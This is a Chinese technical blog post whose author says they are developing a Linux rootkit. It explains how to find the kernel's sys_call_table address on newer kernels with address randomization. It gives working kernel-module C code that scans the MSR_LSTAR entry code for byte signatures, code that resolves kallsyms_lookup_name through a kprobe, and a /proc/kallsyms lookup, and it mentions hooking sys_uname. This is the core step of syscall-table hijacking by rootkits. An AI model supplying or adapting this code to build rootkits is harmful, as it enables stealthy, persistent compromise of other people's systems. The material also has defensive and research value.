ITPub博客

首页 > 数据库 > 数据库开发技术 > Linux | 获取sys_call_table地址

Linux | 获取sys_call_table地址

原创 数据库开发技术 作者:TahirSec 时间:2022-04-15 18:30:00 0 删除 编辑

        最近在搞 Linux Rootkit ,大部分方法获取sys_call_table地址都不适用于高版本内核,故重新分析一下获取方式。

        系统调用表劫持一般性流程图:


        第 1 步是迄今为止最困难的一步。

        上图列举的获取sys_call_table地址的方式,已经不适用于目前高版本的Linux。

        Linux从4.8开始加入了保护机制,每次开机sys_call_table的地址都会变化,与/boot/System.map中查到sys_call_table的地址不同。

        下面分析介绍几种获取sys_call_table地址方式。 

        注:以下实验基于openEuler 20.03 LTS SP3 内核 4.19.90。

1. 通过MSR获取sys_call_table

64位的使用特殊的sysenter/syscall指令。64位的处理器使用使用model-specific寄存器(MSR)来注册自己成为sysenter/syscall的处理例程。

处理例程system_call加载到LSTAR MSR中,而32位模拟则是加载到IA32_SYSENTER_EIP 和 CSTAR MSR,使用sidt来获得系统调用处理例程的地址。

因此,为了获得32位的处理例程,需要找到0x80的中断处理例程,而为了获得64位的系统调用处理例程,我们需要访问LSTAR MSR,通过指令获得system_call的地址。原本

低版本内核中获得了sys_call处理例程的地址之后,本地的调用处理例程命名为system_call,其中32位版本位于arch/x86/entry/entry_32.S,并且64-bit位的位于arch/x86/entry/entry_64.S中。其call指令后即为sys_call_table地址。

call *sys_call_table(,%rax,8)movq %rax,RAX-ARGOFFSET(%rsp)

而对于高版本的内核,发生了变化,需要重新分析。64位代码system_call代码:

        调用do_syscall_64函数来实现系统调用

        

        分析system_call函数的汇编代码,call前有一个mov %rsp, %rsi的指令,其机器码为89 e6,后面跟call指令机器码为e8,因此只需要搜索第一个连续的48 89 e6 e8,就可以找到这个call指令地址,  真正的do_syscall_64_addr地址 = call指令地址 + 0xff604268 + 0x4:

        跟进do_syscal_64函数,mov eax, -0x7e1ffe00(,%rax,8),%rax 指令就是根据eax中系统调用号查找sys_call_table获取相应处理函数的地址,因为地址是8字节,sys_call_table每个表项就是8字节,系统调用号对应的地址就是sys_call_table首地址+8*系统调用号。

        找到sys_call_table的地址也就是0xffffffff81e00200。

         高版本通过MSR获取sys_call_table地址思路,首先获取do_syscall_64函数地址。

//get_lstar_sct_addr 用于获取 entry_SYSCALL_64 机器码中编码着 do_syscall_64 地址的特征字节在内存中的起始地址unsigned long get_lstar_do_syscall_64_addr(void){  unsigned long lstar;  unsigned long index;  unsigned int *lstar_sct_addr = NULL;  unsigned int *do_syscall_64_addr = NULL;  unsigned long *real_sys_call_table = NULL;  unsigned long *real_do_syscall_64_addr = NULL;  u8 *offset;    //从 MSR_LSTAR 里读出 entry_SYSCALL_64的地址  rdmsrl(MSR_LSTAR, lstar);
//开始搜索 for (index = 0; index <= PAGE_SIZE; index += 1) { u8 *arr = (u8 *)lstar + index; //判断当前的位置的四个字节是否是特征字节。(48 89 e6 e8) if (arr[0] == 0x48 && arr[1] == 0x89 && arr[2] == 0xe6 && arr[3] == 0xe8) { //找到了特征字节,将 do_syscall_64 地址返回。 offset = arr + 4; printk(KERN_ALERT "offset: %x\n", *(unsigned int *)offset);      printk(KERN_ALERT "lstar: %x\n", (unsigned int *)lstar); //do_syscall_64_addr = call指令地址 + 0xff604268 + 0x4      //call指令地址 = lstar + index + 0x4 do_syscall_64_addr = lstar + index + 0x4 + 0x4 + *(unsigned int *)offset; printk(KERN_ALERT "do_syscall_64_addr: %x\n", do_syscall_64_addr); real_do_syscall_64_addr = (unsigned long *)get_real_addr(do_syscall_64_addr); printk(KERN_ALERT "real_do_syscall_64_addr: %lx\n", real_do_syscall_64_addr); lstar_sct_addr = get_sct_addr_by_do_syscall_64(real_do_syscall_64_addr); real_sys_call_table = (unsigned long *)get_real_addr(lstar_sct_addr); printk(KERN_ALERT "real_sys_call_table: %lx\n", real_sys_call_table);
return real_sys_call_table; } } return NULL;}

        遍历do_syscall_64函数,找到mov eax, -0x7e1ffe00(,%rax,8),%rax指令,获取sys_call_table地址。

//get_sct_addr_by_do_syscall_64 用于获取 do_syscall_64 机器码中编码着 sys_call_table 地址的特征字节在内存中的起始地址unsigned int *get_sct_addr_by_do_syscall_64(unsigned long do_syscall_64_addr){  char *p = do_syscall_64_addr;  unsigned int *lstar_sct_addr = NULL;  unsigned long index;  unsigned int i;     for(i=0; i<100; i++)  {    // mov %rbp,%rdi; mov eax, -0x7e1ffe00(,%rax,8),%rax    if(p[i]=='\x89' && p[i+1]=='\xef' && p[i+2]=='\x48' && p[i+3]=='\x8b')    {      //mov %rbp,%rdi指令地址+6的值为lstar_sct_addr地址      lstar_sct_addr = *(unsigned int*)(p+i+6);       printk(KERN_ALERT "lstar_sct_addr: %lx\n", lstar_sct_addr);      break;    }  }  return lstar_sct_addr;

    每次重启机器lstar的地址也会改变,最终获取的sys_call_table地址为:0xffffffff9e000200。

        可以使用GDB跟踪一下,对比System.map中的sys_call_table地址。发现两者记录的sys_read低地址位一致。

        sys_read功能一致。说明sys_call_table地址获取正确。

        可以查看0xffffffff81e00000,可以确认System.map地址在rodata节区,不在text节区段,可以说明系统使用的sys_call_table地址不是System.map中记录的地址。

        最后编写一个简单hook sys_uname函数的内核模块,测试hook效果。


2.通过kprobe获取sys_call_table

        利用kprobe机制去获取sys_call_table地址。首先开启kprobe机制。因为Linux 高版本的kallsyms_lookup_name函数不再导出,所以可以利用kprobe,先找到kallsyms_lookup_name函数地址,再调用kallsyms_lookup_name后找到sys_call_table地址。

#include <linux/kernel.h>#include <linux/module.h>#include <linux/kprobes.h>
#define MAX_SYMBOL_LEN 64
static unsigned long (*kallsyms_lookup_name_sym)(const char *name);
unsigned long get_kallsyms_by_kprobe(void){ int ret; unsigned long addr; static char symbol[MAX_SYMBOL_LEN] = "kallsyms_lookup_name"; static struct kprobe kp = { .symbol_name = symbol, };
ret = register_kprobe(&kp); if (ret < 0) { printk("register_kprobe failed, returned %d\n", ret); return ret; } addr = (unsigned long)kp.addr; printk("kallsyms_lookup_name: %lx\n", addr); unregister_kprobe(&kp); return addr;}
unsigned long _kallsyms_lookup_name(const char *name){ if (!kallsyms_lookup_name_sym) { kallsyms_lookup_name_sym = (void *)get_kallsyms_by_kprobe(); if(!kallsyms_lookup_name_sym) return 0; } return kallsyms_lookup_name_sym(name);}
static int kprobe_init(void){ unsigned long *sys_call_table; printk("Tahir: module loaded\n"); sys_call_table = (unsigned long *)_kallsyms_lookup_name("sys_call_table"); printk("sys_call_table: %lx\n", sys_call_table); return 0}
static void kprobe_exit(void){ printk("Tahir: module removed\n");}
module_init(kprobe_init)module_exit(kprobe_exit)MODULE_LICENSE("GPL");

        成功获取sys_call_table且与MSR寄存器方式获取的地址一致。



3.通过/proc/kallsyms

        不解释,最简单的方式。

cat/proc/kallsyms | grep sys_call_table


reference

https://blog.csdn.net/qq_41208289/article/details/106013258

https://github.com/chipsec/chipsec/issues/1154

https://www.kernel.org/doc/html/latest/trace/kprobes.html

https://elixir.bootlin.com/linux/v3.10

https://www.kernel.org/doc/htmldocs/kernel-api/index.html

https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html

https://en.wikipedia.org/wiki/Control_register#CR0

https://tnichols.org/2015/10/19/Hooking-the-Linux-System-Call-Table


原文作者:TahirSec;如有侵权,请联系管理员删除。

下一篇: 没有了~
请登录后发表评论 登录
全部评论

注册时间:2022-04-13

  • 博文量
    39
  • 访问量
    30463